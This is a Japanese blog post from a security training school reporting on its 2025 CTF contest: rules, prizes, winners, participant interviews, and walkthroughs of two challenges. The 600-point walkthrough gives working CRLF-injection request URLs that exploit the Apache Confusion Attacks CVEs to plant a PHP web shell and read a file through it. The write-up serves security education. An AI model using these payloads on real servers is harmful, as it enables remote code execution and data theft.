セキュ塾CTF2025の様子をご紹介!

サムネイル

この度、2025年3月22日(土)にセキュリティ特化スクール『セキュ塾』が、受講生・卒業生を対象としたホワイトハッキング技術の競技大会『セキュ塾CTFコンテスト2025』を開催しました。

本コンテストには、合計74名の方にご参加いただき、内訳は現地参加16名、オンライン参加58名と、多くの方々にご参加いただきました。

表彰式の後、現地参加の皆さんは懇親会で大盛り上がりでした!

この記事では、セキュ塾CTFコンテスト2025の様子についてご紹介していきます。
実際の問題なども紹介していますのでぜひ最後までお付き合いください!

セキュ塾CTFコンテスト2025の概要

  • 実施日:2025年3月22日(土)
  • スケジュール
    -Secujuku CTF:10:00~17:00
    -問題の解説:17:00~18:00
    -表彰式&懇親会;18:00~
  • 主会場:ヒートウェーブ(株) 9階セミナールーム(※オンラインでの競技参加も可)
  • 参加費:無料
  • 対象者:セキュ塾の受講生・卒業生
  • 使用ツール:Remo

対戦ルール

  • 競技時間は、10時~17時の7時間。(途中で休憩を挟んだり、現地の方の途中退出も自由)
  • 基本1チーム4名でのチーム戦で、事前にチームで登録することもできますし、運営が実力ごとに振り分けるランダムチームでの参加も可能です。(もちろん個人参加OK)
  • 問題は下の表のように、各分野ごとに100~600点の問題が1問ずつ、全30問が出題されます。
得点NETWORKBINARY/PWNWEB/SQLFORENSIC総合問題得点合計
6003000
5002500
4002000
3001500
2001000
100500
得点合計2100210021002100210010500

成績優秀者・成績優秀チームの表彰

受賞チーム発表スライド

本大会では、サイバー攻撃があった際に重要となる、「連携」「速度」の2観点 から評価を行い、チーム単位の表彰に「優秀賞」「スピード賞」を用意して、それぞれ受賞チームを表彰いたします。

今大会から個人の成績優秀者に、セキュ塾の講座を新規で受講する場合、受講料を10%割引にすることができる『セキュ塾CTFコイン』を配布しております。

優秀賞の表彰内容

優秀賞
チームで正答した問題の合計得点が最も高かったチームが優秀賞となります。優秀賞チームには、Amazonギフト券1万円分が贈呈されます。

スピード賞の表彰内容

スピード賞
一番最初に正答することのできた問題の数が最も多かったチームがスピード賞となります。スピード賞チームには、Amazonギフト券1万円分が贈呈されます。

どのジャンルの問題を一番早く回答したかによって、チーム名がマップに表示されています。
画像のように、マップにいくつ陣をとることができたかによって勝敗を決めるシステムです。

CTF陣取りマップ
成績優秀者の表彰内容

成績優秀者上位30名
チームでの表彰だけでなく、個人成績での成績優秀者も表彰されます。個人成績上位30名には、『セキュ塾CTFコイン』が贈呈されます。

右の画像が『セキュ塾CTFコイン』です。

このコインを使用すると、新規受講講座の受講料が1講座に限り10%割引されます。

少しアンティークな風合いが特徴の真鍮製コインで、鑑賞用としてもお楽しみいただけます。

セキュ塾CTFコイン

問題解説

今大会の問題作成者であるポール氏から実際に問題解説をしていただきました。

問題解説後は、参加者から寄せられた質問に答える質疑応答のコーナーも。

問題解説の様子

Paul S. Ziegler(ツィグラー・ポール氏)
Reflare Chief Executive Officer。
情報セキュリティ専門家兼、ホワイトハッカー。

BlackHat、DefCon、HITB、PacSec など情報セキュリティカンファレンスにてスピーチ。

O’Reilly社より情報セキュリティに関する書著2作を出版。

問題作成者ポール氏のプロフィール画像

セキュ塾CTFコンテスト2025の様子

今大会は、オンライン参加58名、現地参加者が16名となり、前回大会よりも現地参加者の数が激増しました。個人参加者に加え、ランダムチームでの参加者の姿も見られ、さまざまな形で競技が繰り広げられました。

チームでは、初対面のメンバー同士がその場で役割を決め、限られた時間の中で攻略法を模索する様子が印象的でした。特に、問題を解くたびに互いに声を掛け合い、戦略を練る姿はCTFならではの協力プレイの魅力を感じさせました。

一方で、個人参加者も負けておらず、高難易度の問題に果敢に挑み、一人で次々とフラグを獲得する実力者の姿も見られました。

個人参加も全然OKですが、チームで上位を狙うのもCTFコンテストの醍醐味です。

ランダムチームで他の人に迷惑をかけてしまうなど考えてしまう方もいると思いますが、ぜひ遠慮せずにチームで参加してみて欲しいですね!

実際に使われただ問題の紹介

ここでは、セキュ塾CTFで使われた問題をいくつか解説していきます。

問題の雰囲気を知りたい人はぜひご覧ください。

WEB/SQL 100点問題

WEB/SQL1問題画面

WEB/SQL1 問題文
【URL Decode Challenge】
以下のWebアプリにアクセスしてフラグを取得してください。
http://websql-100
フラグの形式は flag{XXX} です。 flag{ } の部分も含めて解答欄に入力してください。

この問題はURLのエンコードを題材にした問題です。

HTTPの通信では、特殊文字や非ASCII文字をを安全に表現するためにURLエンコードが利用されます。
(本問題ではASCII文字列でも、URLエンコードをしています。)

本問題はURLエンコードというものと、デコードの仕方を学んでいただくための問題です。

手順1

トップページにアクセスすると、デコードせよという文言と、%と数字アルファベットのa~fから構成される文字列が表示されます。

これがURLエンコードされている文字列です。

トップページ画像

手順2

デコードできるツールはいくつかありますが、今回は『CyberChef』というツールで試してみましょう。

https://gchq.github.io/CyberChef/

手順3

Recipeに「URL Decode」をドラッグアンドドロップし、Inputに先ほどの文字列を入力すると、Outputにフラグの文字列が表示されます。

フラグの特定画面

WEB/SQL 600点問題

WEB/SQL6問題画面

WEB/SQL6 問題文
【Confuse from Legacy to Modern】
以下のWebアプリにアクセスしてフラグを取得してください。
http://websql-600
添付ファイル Web600.zip も参考にしてください。
フラグの形式は flag{XXX} です。
flag{ } の部分も含めて解答欄に入力してください。

2024年Black Hat USAでOrange Tsai氏によって公表されたApache HTTP ServerのConfusion Attacksを題材にした問題です。

Apache HTTP Serverはモジュール設計に基づいて、多くのモジュールを利用してHTTPリクエストを処理しています。

各モジュール間は連携する必要があるものの、独立して開発されることもあるため、定義やセマンティックが正確でない場合、その曖昧さから各モジュールでデータ解釈の差に混乱が生じます。

複数のモジュールを組み合わせてアプリケーションを構築することは一般的であり、こうしたモジュール内におけるデータの解釈の違いから、脆弱性が生まれれることがあるということを学んでいただくための問題です。

手順1

トップページ画面

トップページにアクセスすると、Welcomeという文言のページが表示されます。

手順2

問題文に添付されたzipファイルを解凍し、中身を確認します。

サービスは1つであり、CGIファイル、PHPファイルがあることが分かります。

flagは、/opt/secret/flagにあることも分かります。

添付のZIPファイルの中身

手順3

CGIファイル、PHPファイルを見ると、loc.cgiにのみオープンリダイレクト、CRLF Injectionの脆弱性があります。

これらの脆弱性は単体ではサーバ内のflagを取得することはできないため、別の脆弱性を組み合わせる必要があります。

CRLF Injectionの脆弱性

手順4

Dockerfiledを見ると、アプリは明示的にphp:8.2.19-apacheのイメージを指定して作成されています。

php8.2.19は最新ではないため、このイメージにまつわる脆弱性を利用する可能性が高いと推測できます。

Dockerfiled

手順5

php:8.2.19-apacheのイメージを調べると、内包するApache httpdに関するクリティカルな脆弱性が該当します。

ここでは、その内の上位を調べていきます。

php:8.2.19-apache

手順6

以下の脆弱性を調べると、

CVE-2024-38474
CVE-2024-38475
CVE-2024-38476

Orange Tsai氏のブログがヒットします。

Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server!
https://blog.orange.tw/posts/2024-08-confusion-attacks-

トップページにあったオレンジのアイコンや問題文から当該脆弱性に関連すると推測できます。

手順7

実際にブログに記載の脆弱性が有効かを確認します。

ブログにPrimitive 1-2.ACL Bypassにあるconfigと同じようなものがあり、適用されていると分かります。

ブログに記載のある脆弱性が有効かの確認

手順8

直接admin.phpにアクセスできないものの、%3fを使ってアクセスするとadmin.phpの中身にアクセスすることができ、ACLバイパスができると分かります。

手順9

php-fpmのディレクティブの設定の様子からを見ても、ブログのようにunixソケットを使い、FastCGIプロトコルでphp-fpmにリクエストを送って、PHPを処理するような記述になっています。

php-fpmのディレクティブの設定

手順10

Apache Httpdの脆弱性が有効と分かったので、任意コード実行を行っていきます。

ブログ内の Primitive 3-2. Invoke Arbitrary Handlers を見ると、CRLF Injectionのサンプルコードがあり、loc.cgiと同一のものと分かります。

任意コード実行

手順11

Primitive 3-2のmod_cgiにおけるローカルリダイレクトが動作するか確認します。

まずは以下のURLを試し、server-statusが見られるか試します。

http://websql-600/cgi-
bin/loc.cgi?url=http://%0d%0aLocation:/lol%0d%0aContent-Type:server-
status%0d%0a%0d%0a

上記を読みやすくフォーマット化すると以下になります。

http://websql-600/cgi-bin/loc.cgi?url=http:// %0d%0a
Location:/lol %0d%0a
Content-Type:server-status %0d%0a
%0d%0a

手順12

CGIも期待通りに動作したため、任意コードを構築していきます。

ブログ内にもあるように、PHPのDockerイメージにはデフォルトでPEARが含まれています。

しかし、Dockerfileを見るとTest.phpを削除する文があり、ブログ内の run-tests は動かないようになっています。

このため、PEARの別のコマンドを利用する必要があります。

今回はconfig-createを使ってみます。

config-create

手順13

他に必要な情報として、unixソケットはconfファイルから以下にあります。

/run/php/php8-fpm.sock

config-createを利用してPHPのバックドアを/tmp設置します。

以下は見やすくフォーマットしたリクエストです。

http://websql-600/cgi-bin/loc.cgi?url=http:// %0d%0a
Location:/lol? %2b config-create %2b /<?php
$q=$_GET[‘q’];system($q);die()?>+/tmp/b.php %0d%0a
Content-Type:proxy:unix:/run/php/php8-
fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

上記を正しいURLに直すと以下になります。

http://websql-600/cgi-bin/loc.cgi?url=http://%0d%0aLocation:/lol?%2bconfig-
create%2b/%3Cphp%20%24q%3D%24_GET%5B%27q%27%5D%3Bsystem%28%
24q%29%3Bdie%28%29?%3E%2b/tmp/b.php%0d%0aContent-
Type:proxy:unix:/run/php/php8-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php%0d%0a%0d%0a

手順14

実際にリクエストを送信し、バックドアを設置します。

リクエスト送信

手順15

バックドアを利用し、flagを読むリクエストを発行します。

以下は見やすくフォーマットしたリクエストです。

http://websql-600/cgi-bin/loc.cgi?url=http:// %0d%0a
Location:/lol ?q=cat+/opt/secret/flag %0d%0a
Content-Type:proxy:unix:/run/php/php8-
fpm.sock|fcgi://127.0.0.1/tmp/b.php %0d%0a
%0d%0a

上記を正しいURLに直すと以下になります。

http://websql-600/cgi-
bin/loc.cgi?url=http://%0d%0aLocation:/lol%3fq%3dcat+/opt/secret/flag%0d%0
aContent-Type:proxy:unix:/run/php/php8-
fpm.sock|fcgi://127.0.0.1/tmp/b.php%0d%0a%0d%0a

手順16

実際にリクエストを送信するとflagを取得することができます。

flag取得

成績優秀者の表彰

『スピード賞』を受賞した『Team-D』は、BINARY/PWN分野の100~400、600点の問題を最速で攻略し、5エリアを獲得。獲得エリア数で単独1位となり、見事スピード賞を受賞しました。

また、『Team-D』はランダムチームでの参加で、合計得点「3040 points」を獲得する好成績を記録。 しかし、1位チームには「560 points」届かず、総合得点部門での順位は惜しくも2位となりました。

セキュ塾CTF2025『スピード賞』受賞チーム

『優秀賞』を受賞したのは、個人チーム『Team-14』

たった一人で挑みながらも圧倒的な実力を発揮し、各分野でバランスよく得点を重ねながら着実にスコアを伸ばし、最終的には合計「3600 points」を獲得。

その圧巻のパフォーマンスで堂々の1位に輝き、見事『優秀賞』を手にしました。

セキュ塾CTF2025『優秀賞』受賞チーム

また今大会では、個人として優れた成績を収めた『個人成績上位30名』も表彰されました。

熾烈な競争の中で確かな実力を発揮し、次々とフラグを獲得してきた参加者たち。
特に上位入賞者は、高度な問題にも果敢に挑み、最後まで諦めない粘り強さを見せました。

表彰された30名には、その努力と成果を称える証として『セキュ塾CTFコイン』が贈られました。
今後の大会でも、さらなる活躍が期待される実力者たちの勇姿に注目です。

セキュ塾CTF2025『個人成績上位者30名』

現地参加者の懇親会

セキュ塾CTF終了後は、現地参加者限定の懇親会が開かれました。

運営が用意したお酒や軽食を囲みながら、参加者たちはリラックスした雰囲気の中で交流を楽しんでいました。競技中はライバルとして戦っていた人たちも、この場では打ち解けて「あの問題、どうやって解いた?」「ここはこういうアプローチがよかったよね」と振り返りながら、互いに知識を共有する様子が見られました。

来年は一緒にチームを組んで、CTFへ出場をしようと約束している人もいました。

また、懇親会は受講生と卒業生が交流する貴重な機会にもなり、現場で活躍する卒業生から「今の業界ではどんなスキルが求められている?」「資格ってどこまで評価されるの?」といったリアルな話を熱心に聞く姿も。転職を考えている参加者は企業選びやキャリアパスについて相談し、セキュリティエンジニアとして働く先輩たちの経験談を参考にしていました。

現場の生の声が聞けるこの場は、今後のキャリアを考える上で大きなヒントになったようです。

さらに、業界の最新情報や技術トレンドについても話が広がり、「今この分野がアツい」「こんな手法が出てきてるよ」と、情報感度の高い参加者同士ならではのディープな会話が繰り広げられていました。

CTFを通じて技術を磨くだけでなく、志を同じくする仲間とつながることで、新たな知識や視点を得られるのもこの大会の魅力の一つ。懇親会の終盤には「また次回も参加したい!」と笑顔で語る参加者の姿もあり、技術だけでなく、人とのつながりが今後の成長につながることを感じさせる夜となりました。

参加者から寄せられたセキュ塾CTFの感想を一部ご紹介

Y.Kさん
Y.Kさん

定期的に実施いただけるのは、とても有難い。 少しずつ知識を蓄えていこうとしている人からすると、大会とその後の解説でモチベーションが上がり、色々と受講してみたいと思うようになる。 チーム戦でまだ慣れていない人には敷居が高そうに見えるが、個人でも受け付けているので、とても配慮されていると思う。

参加費用が掛かっても良いので、年2回ぐらい実施いただきたい。 年1回だと、本職とかでないかぎり、知識維持と興味の優先順位が変わってくるため。

kさん
kさん

CTFの問題を作る企画などがあったら、ぜひ参加したいです。

名無しさん
名無しさん

講義で学んだことをもう少し生かせる内容にしてほしかったです。

名無しさん
名無しさん

攻撃者の気持ちになれて楽しかったです。次回はもっと多くの問題が解けるように鍛錬します。またぜひよろしくお願いします。

T.Sさん
T.Sさん

スキルアップしてまたチャレンジしたいと思いました。
来年もCTF大会を開催して頂きたいです。

セキュ塾CTFの参加者インタビュー

ここでは、インタビューに答えていただいた、セキュ塾CTF2025の参加者の方のインタビュー内容を一部ご紹介します。

M.Tさん

プロフィール

年齢39歳、某情報機器販売会社での社内ヘルプデスク、営業支援をしております。
働きながら、土曜日のみセキュ塾『ホワイトハッカー育成コース』を受講しておりました。
部署移動・待遇改善・転職を視野に入れスキルを発展的に向上させる目的で受講しました。
実際、待遇はやや改善しました。
ただ、転職の選択肢をいつでもなくすことがないよう、スキルの向上は継続していくつもりです。

Q
IT系の仕事に就く前は、どの良いうなお仕事をされていましたか?
A

IT系というより、通信事業・通信建設業に長年携わっております。

Q
サイバーセキュリティの道へ進もうと思ったきっかけはありますか?
A

自分の特徴を活かしたり、成長を見込める分野であり、かつ世の中の需要があり、好奇心も満たせる道だとって進むことにしました。

Q
セキュ塾の受講きっかけを教えてください
A

リスキリング関連の給付金対象であったことがきっかけです。

Q
IT系の資格は取得していますか?
A

応用情報技術者は取得しました。上位資格の取得も今後目指します。

Q
セキュ塾CTFコンテスト2025に参加された感想を聞かせてください。
A

僕のレベルでは一番簡単な問題は解けましたが、一つレベルが上がった問題はまだ難しかったです。解説や質疑応答は非常にためになりました。幅広い知識が求められるため、総合格闘技のように感じました。

Q
最後にセキュリティの道へ進むことを悩んでいる人に一言いただけますか。
A

知的好奇心の強う方に合う道なのではないかと思っています。

K.Hさん

プロフィール

前々職ではプログラマーとして働いていました。その職場では、技術を知っているのが当然という人々に囲まれていました。
前職に転職してからは、ERPコンサルタントの方々と接する機会が増えました。
その中で、ERPコンサルタントの方々からセキュリティについて質問を受けることがありました。
技術職に就いていると当たり前のように思っていたことが、技術に詳しくない人々にとっては純粋な疑問であることに気づきました。
これらの疑問を解決するためには、実際の攻撃方法について知る必要があると感じ、セキュ塾の受講を決めました。

Q
IT系の仕事に就く前は、どのようなお仕事をされていましたか?
A

コールセンターで営業電話をかけてたり、クレームの電話を受けていました。いろいろな人とお話しできて楽しかったです。

Q
サイバーセキュリティの道へ進もうと思ったきっかけはありますか?
A

IT業界に入ると、いずれマネジメントか技術のどちらかを選ばなければならないと思いますが、私は技術の話が好きで、そうした話をできる人たちに囲まれて働きたいと考えたからです。サイバーセキュリティの分野では、インフラ、アプリケーション、運用、開発など、幅広い領域に携わることができると思いました。実際にやってみると、その範囲が広すぎて、飽きることがありません。

Q
セキュ塾受講のきっかけを教えてください。
A

セキュリティを学ぼうと思い、CTFや書籍で学習していたのですが、分からないことがあると別の書籍を読んで、また戻るというのを繰り返していて学習効率が悪いなと思い、思い切って受講に踏み切りました。

Q
現在どのようなお仕事に就かれていますか?
A

SIEMへログを送信するためのインフラ構築に関わっています。セキュリティを突き詰めるとログが大事だと考えているので、満足しています。ログであればログを出力している様々な製品に携われるので楽しいです。CTFもただ解くだけでなく、この攻撃をしたらどういうログをはくのだろうという観点から考えています。

Q
IT系の資格は取得していますか?
A

情報安全確保支援士、AWS全冠、PHP技術者試験上級認定、などを持っています。

Q
セキュ塾CTFコンテスト2025に参加された感想を聞かせて下さい。
A

難しかったです。最新のCVEが問題として出てきたので、勉強になりました。
問題自体も資格試験では出てこないものばかりで、本当に楽しく、またやりたいです。
懇親会も技術の話ができて楽しかったです。

Q
最後にセキュリティのみちへ進むことを悩んでいる人に一言お願いします。
A

上には上がいて挫折は何度も味わうけれど、マイペースに楽しんで学習できればいいと思います。

まとめ

セキュ塾CTF2025では、前回を上回る多くの方にご参加いただき、特に現地参加者の数が大幅に増加しました。

より多くの方に挑戦する楽しさを感じてもらいたいという思いから、今回はチーム表彰の『スピード賞』『優秀賞』に加え、個人成績優秀者上位30名を表彰し、『セキュ塾CTFコイン』を配布しました。

セキュ塾CTFは、参加者の皆さまの熱意とともに成長し続けています。今後も改善を重ねながら、誰もが楽しみ、挑戦できる場を提供できるよう、セキュ塾運営チーム一同努めてまいります。また、規模をさらに拡大し、充実したコンテンツや新たな仕組みを取り入れることで、より多くの方に参加しやすいイベントへと進化させていきます。今後ともよろしくお願いいたします。

脅威インテリジェンス育成コース案内

いずれは、『初心者向けのCTF大会』や、『CTF大会の問題を作る会』なども開催できるといいですね!セキュ塾CTFコインを獲得した方は、給付金とコインの割引を使って『脅威インテリジェンス育成コース』を受講してみてください!